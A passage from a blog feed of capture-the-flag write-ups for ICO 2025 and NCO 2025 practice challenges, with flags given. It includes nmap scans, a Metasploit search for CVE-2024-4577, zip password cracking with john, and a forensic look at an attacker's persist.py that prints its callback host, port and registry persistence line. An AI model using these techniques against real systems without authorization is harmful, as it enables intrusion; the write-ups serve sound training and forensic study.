</span></span><span class="line"><span class="cl">    <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s2">&#34;Failed to recover p and q&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">p</span> <span class="o">&gt;</span> <span class="n">q</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">p</span><span class="p">,</span> <span class="n">q</span> <span class="o">=</span> <span class="n">q</span><span class="p">,</span> <span class="n">p</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Reconstruct and export the RSA key</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="o">.</span><span class="n">construct</span><span class="p">((</span><span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">d_val</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;recovered_key.pem&#34;</span><span class="p">,</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">export_key</span><span class="p">())</span>
</span></span></code></pre></div><p>Flag: <code>ICO2025{y0u_h4v3_f0und_Th3_pr1v4t3_k3y}</code></p>
<hr>
<h2 id="credential-breakout">Credential Breakout</h2>
<p>Try to find the credential to unlock the flag.</p>
<p><strong>Files:</strong></p>
<ul>
<li><a href="/ico2025/blue/credentialbreakout/CredentialBreakoutChallenge.exe">CredentialBreakoutChallenge.exe</a></li>
</ul>
<p><strong>Solution:</strong> <code>strings CredentialBreakoutChallenge.exe | grep -oP 'IC[^}]*\}'</code> = flag :D</p>
<p>Flag: <code>IC02025{94vYeC2sQc}</code></p>
<hr>
<h2 id="phase-1---va-scanning---1">[Phase 1 - VA] Scanning - 1</h2>
<p>A common step in a vulnerability assessment is to scan for open ports and find running services on those ports. Can you conduct a port scan and find what ports are open on the compromised machine (200.200.200.20)?</p>
<p><strong>Solution:</strong> We can use <code>nmap</code> to find what ports are open. <code>nmap -sV -F 200.200.200.20</code></p>
<p>Flag: <code>ICO2025{80_http}</code></p>
<hr>
<h2 id="phase-1---va-scanning---2">[Phase 1 - VA] Scanning - 2</h2>
<p>Vulnerabilities can sometimes be operating system specific. As such, it is good practice to narrow down as much information as we can when conducting a vulnerability assessment. Are you able to find out what operating system is compromised machine using?</p>
<p><strong>Solution:</strong> We can use <code>nmap</code> to determine what OS the target is using. With: <code>nmap -A 200.200.200.20</code></p>
<p>Flag: <code>ICO2025{Microsoft Windows XP 2019}</code></p>
<hr>
<h2 id="phase-1---va-searching-open-services">[Phase 1 - VA] Searching Open Services</h2>
<p>Services running on internal networks typically hold a significant importance and may contain sensitive information. Explore the services you found and see if you can find out the purpose of the service running on port 80.</p>
<p><strong>Solution:</strong> We can curl the ip on port 80 to find the purpose of the service in the title tag. <code>curl -v http://200.200.200.20/dashboard/</code> with gives <code>IT Team's To-Do List</code></p>
<p>Flag: <code>ICO2025{IT Team's To-Do List}</code></p>
<hr>
<h2 id="phase-1---va-vulnerable-service">[Phase 1 - VA] Vulnerable Service</h2>
<p>Are you able to find the CVE number of the vulnerability present in the compromised machine?</p>
<p><strong>Solution:</strong> If we curl the previous url we find a CVE that needs patching on the To-Do List,  <code>curl http://200.200.200.20/dashboard/</code>, where we find <code>&lt;td&gt;Update webserver to be protected from CVE-2024-4577&lt;/td&gt;</code></p>
<p>Flag: <code>ICO2025{CVE_2024_4577}</code></p>
<hr>
<h2 id="phase-1---va-metasploit">[Phase 1 - VA] Metasploit</h2>
<p>Exploit the vulnerability!</p>
<p><strong>Solution:</strong> Using the metasploit console we can search for the cve with: <code>search cve:CVE-2024-4577</code>.</p>
<p>Flag: <code>ICO2025{php_cgi_arg_injection_rce_cve_2024_4577}</code></p>
<hr>
<h2 id="phase-2---forensics-analysing-pcap">[Phase 2 - Forensics] Analysing Pcap</h2>
<p>Analyse the packet capture file given in <code>C:\Users\Marcus-WebAdmin\Documents\Network Captures</code>.</p>
<p>We are trying to look out for suspicious activities from the attacker but first, we need to identify the attacker&rsquo;s IP address. Are there any suspicious IP addresses in the unit&rsquo;s network found in the capture?</p>
<p><strong>Solution:</strong> I use my eyes to look in the pcap file :D</p>
<p><strong>File found:</strong></p>
<ul>
<li><a href="/ico2025/blue/forensics/capture.pcapng">capture.pcapng</a></li>
</ul>
<p>Flag: <code>ICO2025{192.168.12.135}</code></p>
<hr>
<h2 id="phase-2---forensics-attacker-malware">[Phase 2 - Forensics] Attacker Malware</h2>
<p>It seems like the attacker might have uploaded some of his own files on the compromised machine. Are you able to identify the frame number where the request is initiated?</p>
<p><strong>Solution:</strong> We can see a FTP request with the INFO: <code>Request: RETR persist.py</code> has the frame number: <code>4395</code></p>
<p>Flag: <code>ICO2025{4395}</code></p>
<hr>
<h2 id="phase-2---forensics-export-objects">[Phase 2 - Forensics] Export Objects</h2>
<p>Try to export out important objects/files found in the pcap file!</p>
<p><strong>Solution:</strong> Sus file is ofc <code>persist.py</code>.</p>
<p>Flag: <code>ICO2025{persist.py}</code></p>
<hr>
<h2 id="phase-2---forensics-attackers-malware-part-2">[Phase 2 - Forensics] Attacker&rsquo;s Malware Part 2</h2>
<p>It seems like the attacker might have uploaded some of his own files on the compromised machine. Are you able to find it and generate out its md5 digest?</p>
<p><strong>Solution:</strong> We can use wireshark to extract the <a href="/ico2025/blue/forensics/persist.py">python file</a> and run:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">md5sum persist.py 
</span></span><span class="line"><span class="cl">3b3ea2f2378fbcc04f3a6b95049e8b81  persist.py
</span></span></code></pre></div><p>Flag: <code>ICO2025{3b3ea2f2378fbcc04f3a6b95049e8b81}</code></p>
<hr>
<h2 id="phase-3---ap-malware-analysis">[Phase 3 - AP] Malware Analysis</h2>
<p>The malware have attempted to make network connection(s), what IP address and port is it trying to connect to?</p>
<p><strong>Solution:</strong> If we look in <a href="/ico2025/blue/forensics/persist.py">persist.py</a> we can see:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">HOST</span> <span class="o">=</span> <span class="s1">&#39;192.168.12.135&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">PORT</span> <span class="o">=</span> <span class="mi">4242</span>
</span></span></code></pre></div><p>Flag: <code>ICO2025{192.168.12.135:4242}</code></p>
<hr>
<h2 id="phase-3---ap-malware-analysis-part-2">[Phase 3 - AP] Malware Analysis Part 2</h2>
<p>What is the name of the key that was created by the malware?</p>
<p><strong>Solution:</strong> If we once again look in <a href="/ico2025/blue/forensics/persist.py">persist.py</a> we can see:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">reg</span><span class="o">.</span><span class="n">SetValueEx</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="s2">&#34;malware&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">reg</span><span class="o">.</span><span class="n">REG_SZ</span><span class="p">,</span> <span class="n">script_path</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>ICO2025{malware}</code></p>
<hr>
<h1 id="conclusion">Conclusion</h1>
<p>Day 1 was really tough, the attack-style CTF pushed me to my limits with some hard challenges. Day 2’s defence-style CTF, although easier overall, had its own hurdles—many things went wrong, and long wait times due to sluggish IT infrastructure made it a bit chaotic. Despite the tech hiccups, I managed to secure a <strong>silver medal</strong> at the end. Thanks to the organizers for a strong first ICO, looking forward to smoother competitions next time!</p>
]]></content></item><item><title>National Cybersecurity Olympiad (NCO) 2025 - Practice Platform : Writeups</title><link>https://ha1fdan.xyz/en/posts/nco2025_practice/</link><pubDate>Tue, 20 May 2025 17:15:27 +0200</pubDate><guid>https://ha1fdan.xyz/en/posts/nco2025_practice/</guid><description>&lt;p&gt;A month before the International Cybersecurity Olympiad (ICO) 2025, we got access to the National Cybersecurity Olympiad (NCO) 2025 as a practice platform. The NCO is a national-level competition in cybersecurity, and the practice platform provides a range of challenges to help participants prepare for the ICO.&lt;/p&gt;
&lt;h2 id="challenges-in-no-particular-order"&gt;Challenges (In no particular order)&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#challenge-3"&gt;Challenge 3&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Steganography&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#reverse-engineering"&gt;Reverse Engineering&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#mystery_1"&gt;Mystery_1&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#mystery_2"&gt;Mystery_2&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#mystery_3"&gt;Mystery_3&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#analyse-packet-ii"&gt;Analyse Packet II&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Networking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#pentest-challenge"&gt;Pentest Challenge&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Pentest&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id="challenge-3"&gt;Challenge 3&lt;/h3&gt;
&lt;p&gt;We were given 2 png files. Both of the images looked to be the same, but some pixels were different. The task was to find the difference between the two images.&lt;/p&gt;</description><content type="html"><![CDATA[<p>A month before the International Cybersecurity Olympiad (ICO) 2025, we got access to the National Cybersecurity Olympiad (NCO) 2025 as a practice platform. The NCO is a national-level competition in cybersecurity, and the practice platform provides a range of challenges to help participants prepare for the ICO.</p>
<h2 id="challenges-in-no-particular-order">Challenges (In no particular order)</h2>
<table>
	<thead>
			<tr>
					<th>Challenge</th>
					<th>Category</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="#challenge-3">Challenge 3</a></td>
					<td>Steganography</td>
			</tr>
			<tr>
					<td><a href="#reverse-engineering">Reverse Engineering</a></td>
					<td>Reverse Engineering</td>
			</tr>
			<tr>
					<td><a href="#mystery_1">Mystery_1</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#mystery_2">Mystery_2</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#mystery_3">Mystery_3</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#analyse-packet-ii">Analyse Packet II</a></td>
					<td>Networking</td>
			</tr>
			<tr>
					<td><a href="#pentest-challenge">Pentest Challenge</a></td>
					<td>Pentest</td>
			</tr>
	</tbody>
</table>
<hr>
<h3 id="challenge-3">Challenge 3</h3>
<p>We were given 2 png files. Both of the images looked to be the same, but some pixels were different. The task was to find the difference between the two images.</p>
<p><strong>Files:</strong></p>
<ul>
<li><a href="/nco2025/stego/Steganography1.png">Steganography1.png</a></li>
<li><a href="/nco2025/stego/Steganography2.png">Steganography2.png</a></li>
</ul>
<p>We used the <code>compare</code> command from the ImageMagick suite to find the differences between the two images. The command is as follows:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">compare -metric AE Steganography1.png Steganography2.png difference.png
</span></span></code></pre></div><p><strong>Result:</strong></p>
<p><img src="/nco2025/stego/difference.png" alt="difference.png"></p>
<p>Flag: <code>NCO2025{H@ck_F@st3r}</code></p>
<hr>
<h3 id="reverse-engineering">Reverse Engineering</h3>
<p>We were given a binary file and the task was to reverse engineer it to find the flag.</p>
<p><strong>File:</strong></p>
<ul>
<li><a href="/nco2025/rev/RevEngPass.o">RevEngPass.o</a></li>
</ul>
<p>We use <a href="https://dogbolt.org/">https://dogbolt.org/</a> to disassemble the binary file. The disassembly shows that the binary is checking for a password. The password is hardcoded in the binary, and we can find it by looking at the disassembly.</p>
<p>In the disassembly, we find the &ldquo;check_password&rdquo; function:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">int64_t</span> <span class="nf">check_password</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">arg1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">fsbase</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int64_t</span> <span class="n">rax</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int32_t</span> <span class="n">var_7c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int32_t</span> <span class="n">var_70</span> <span class="o">=</span> <span class="mh">0x17</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int64_t</span> <span class="n">var_48</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">__builtin_strncpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_48</span><span class="p">,</span> <span class="s">&#34;                                &#34;</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int64_t</span> <span class="n">var_69</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">__builtin_strcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_69</span><span class="p">,</span> <span class="s">&#34;tHardiCKET&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int64_t</span> <span class="n">var_5e</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">__builtin_strcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_5e</span><span class="p">,</span> <span class="s">&#34;HErAbIogYm&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int64_t</span> <span class="n">var_53</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nf">__builtin_strcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_53</span><span class="p">,</span> <span class="s">&#34;oRtumbaRVa&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_53</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">var_69</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_53</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">var_5e</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nf">strlen</span><span class="p">(</span><span class="n">arg1</span><span class="p">)</span> <span class="o">!=</span> <span class="nf">strlen</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_53</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Invalid password! Access denied.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">int32_t</span> <span class="n">var_78_1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="k">while</span> <span class="p">(</span><span class="n">var_78_1</span> <span class="o">&lt;</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">arg1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="n">arg1</span><span class="p">[</span><span class="n">var_78_1</span><span class="p">]</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_53</span> <span class="o">+</span> <span class="n">var_78_1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">var_7c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            
</span></span><span class="line"><span class="cl">            <span class="n">var_7c</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="n">var_78_1</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">var_7c</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Invalid password! Access denied.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Password accepted! Access grante…&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="kt">int32_t</span> <span class="n">var_74_1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            
</span></span><span class="line"><span class="cl">            <span class="k">while</span> <span class="p">(</span><span class="n">var_74_1</span> <span class="o">&lt;</span> <span class="nf">strlen</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_48</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="o">*</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_48</span> <span class="o">+</span> <span class="n">var_74_1</span><span class="p">)</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="o">&amp;</span><span class="n">var_53</span> <span class="o">+</span> <span class="n">var_74_1</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x4a</span><span class="p">)</span> <span class="o">%</span> <span class="mh">0x1a</span> <span class="o">+</span> <span class="mh">0x61</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">var_74_1</span> <span class="o">+=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            
</span></span><span class="line"><span class="cl">            <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;The reverse engineer flag is&#39;%s&#39;…&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">var_48</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">rax</span> <span class="o">==</span> <span class="o">*</span><span class="p">(</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">rax</span> <span class="o">-</span> <span class="o">*</span><span class="p">(</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="nf">__stack_chk_fail</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="cm">/* no return */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>If we enter the password <code>oRtumbaRVatHardiCKETHErAbIogYm</code> into the binary, it will print the flag.</p>
<p>Flag: <code>NCO2025{liqrjyximxqifnogvum}</code></p>
<hr>
<h3 id="mystery_1">Mystery_1</h3>
<p>We were given a file named <code>a.zip</code> and the task was to find the password, which was the flag.</p>
<p><strong>File:</strong></p>
<ul>
<li><a href="/nco2025/forensics/a.zip">a.zip</a></li>
</ul>
<p>We can use <code>zip2john</code> to extract the hash from the zip file:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">zip2john a.zip &gt; hashes.txt
</span></span></code></pre></div><p>Then we can use <code>john</code> to crack the hash using a wordlist:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">john hashes.txt --wordlist<span class="o">=</span>/usr/share/wordlists/rockyou.txt
</span></span></code></pre></div><p>Flag: <code>NCO2025{pineapple}</code></p>
<hr>
<h3 id="mystery_2">Mystery_2</h3>
<p>We were given a file named <code>capture.pcap</code> and using the sslkeylog file from the last challenge, we can decrypt the pcap file using <code>Wireshark</code>.
Next, we can filter the decrypted traffic for HTTP requests and look for the flag, which is the name of a document that was transferred.</p>
<p><strong>File:</strong></p>
<ul>
<li><a href="/nco2025/forensics/capture.pcap">capture.pcap</a></li>
</ul>
<p><img src="/nco2025/forensics/sol_mystery_2.png" alt="Wireshark Decrypted Traffic Info"></p>
<p>Flag: <code>NCO2025{Merlion_Battle_Newsletter_April_1_2025.docx}</code></p>
<hr>
<h3 id="mystery_3">Mystery_3</h3>
<p>With the document we got from the previous challenge, we at the end of the document find a base64 encoded string. We can decode it using the <code>base64</code> command.</p>
<p><strong>File:</strong></p>
<ul>
<li><a href="/nco2025/forensics/Merlion_Battle_Newsletter_April_1_2025.docx">Merlion_Battle_Newsletter_April_1_2025.docx</a></li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> TDBuOV9sMXYzXzRoM19NM3JsMTBu <span class="p">|</span> base64 -d
</span></span><span class="line"><span class="cl">L0n9_l1v3_4h3_M3rl10n
</span></span></code></pre></div><p>Flag: <code>NCO2025{L0n9_l1v3_4h3_M3rl10n}</code></p>
<hr>
<h3 id="analyse-packet-ii">Analyse Packet II</h3>
<p>We were given a pcap file and the task was to analyze the packets to find the flag.</p>
<p><strong>File:</strong></p>
<ul>
<li><a href="/nco2025/networking/packet2.pcap">packet2.pcap</a></li>
</ul>
<p>One way to solve this challenge is to use <code>strings</code> to extract all the strings from the pcap file:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">strings packet2.pcap
</span></span></code></pre></div><p>This leaves us with 4 flags, but only one of them is correct.</p>
<ol>
<li><code>NCO2025{F@ls3Fl@9}</code></li>
<li><code>NCO2025{H1d3_th3_Fl4g5}</code></li>
<li><code>NCO2025{R34l_F1@9}</code></li>
<li><code>NCO2025{H1dd3n_1n_Ipv6}</code></li>
</ol>
<p>The correct flag is <code>NCO2025{H1dd3n_1n_Ipv6}</code>.</p>
<p>Flag: <code>NCO2025{H1dd3n_1n_Ipv6}</code></p>
<hr>
<h3 id="pentest-challenge">Pentest Challenge</h3>
<p>We were given a python script that looks like a classic obfuscation challenge. The task was to find the flag.</p>
<p><strong>File:</strong></p>
<ul>
<li><a href="/nco2025/pentest/serviceObf.py">serviceObf.py</a></li>
</ul>
<p>Changing the <code>exec()</code> to <code>print()</code> in the script allows us to see the code without executing it. The code is obfuscated, but after 50 rounds of deobfuscation, we can see the original code. <em>This can be automated using the <code>replace</code> function and a loop.</em></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">socket</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Define server address and port</span>
</span></span><span class="line"><span class="cl"><span class="n">UDP_IP</span> <span class="o">=</span> <span class="s2">&#34;0.0.0.0&#34;</span>  <span class="c1"># Listen on all available network interfaces</span>
</span></span><span class="line"><span class="cl"><span class="n">UDP_PORT</span> <span class="o">=</span> <span class="mi">5033</span>     <span class="c1"># Choose any available port</span>
</span></span><span class="line"><span class="cl"><span class="n">BUFFER_SZ</span> <span class="o">=</span> <span class="mi">4096</span>  
</span></span><span class="line"><span class="cl"><span class="n">CODE_FMT</span> <span class="o">=</span> <span class="s1">&#39;utf-8&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Create a UDP socket</span>
</span></span><span class="line"><span class="cl"><span class="n">server_socket</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_DGRAM</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">server_socket</span><span class="o">.</span><span class="n">bind</span><span class="p">((</span><span class="n">UDP_IP</span><span class="p">,</span> <span class="n">UDP_PORT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">keyVal</span> <span class="o">=</span> <span class="mi">2025</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Receive message from client</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">server_socket</span><span class="o">.</span><span class="n">recvfrom</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">dataStr</span> <span class="o">=</span> <span class="kc">None</span> 
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">dataStr</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">CODE_FMT</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">err</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">msg</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;Input data format incorrect.Please Try again.&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="n">server_socket</span><span class="o">.</span><span class="n">sendto</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">continue</span>
</span></span><span class="line"><span class="cl">    <span class="n">result</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">dataStr</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">result</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">((</span><span class="nb">ord</span><span class="p">(</span><span class="n">char</span><span class="p">)</span> <span class="o">+</span> <span class="n">keyVal</span> <span class="o">-</span> <span class="mi">97</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span> <span class="o">+</span> <span class="mi">97</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">result</span> <span class="o">==</span> <span class="s1">&#39;pentestpass&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">msg</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;Processed message:pentestpass, You have input the correct flag string&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="n">server_socket</span><span class="o">.</span><span class="n">sendto</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">continue</span>
</span></span><span class="line"><span class="cl">    <span class="n">msg</span> <span class="o">=</span> <span class="s2">&#34;Processed message:&#34;</span> 
</span></span><span class="line"><span class="cl">    <span class="n">msg</span> <span class="o">+=</span> <span class="n">result</span>
</span></span><span class="line"><span class="cl">    <span class="n">msg</span> <span class="o">=</span> <span class="n">msg</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="n">CODE_FMT</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">server_socket</span><span class="o">.</span><span class="n">sendto</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span></code></pre></div><p>Looking at the code, we can see that it is a simple UDP server that listens for messages. The server processes the message by shifting each character by 2025 positions in the alphabet.</p>
<p>First we need to find the shift, this is done by taking the modulo of the shift value with 26, which is the number of letters in the alphabet.</p>
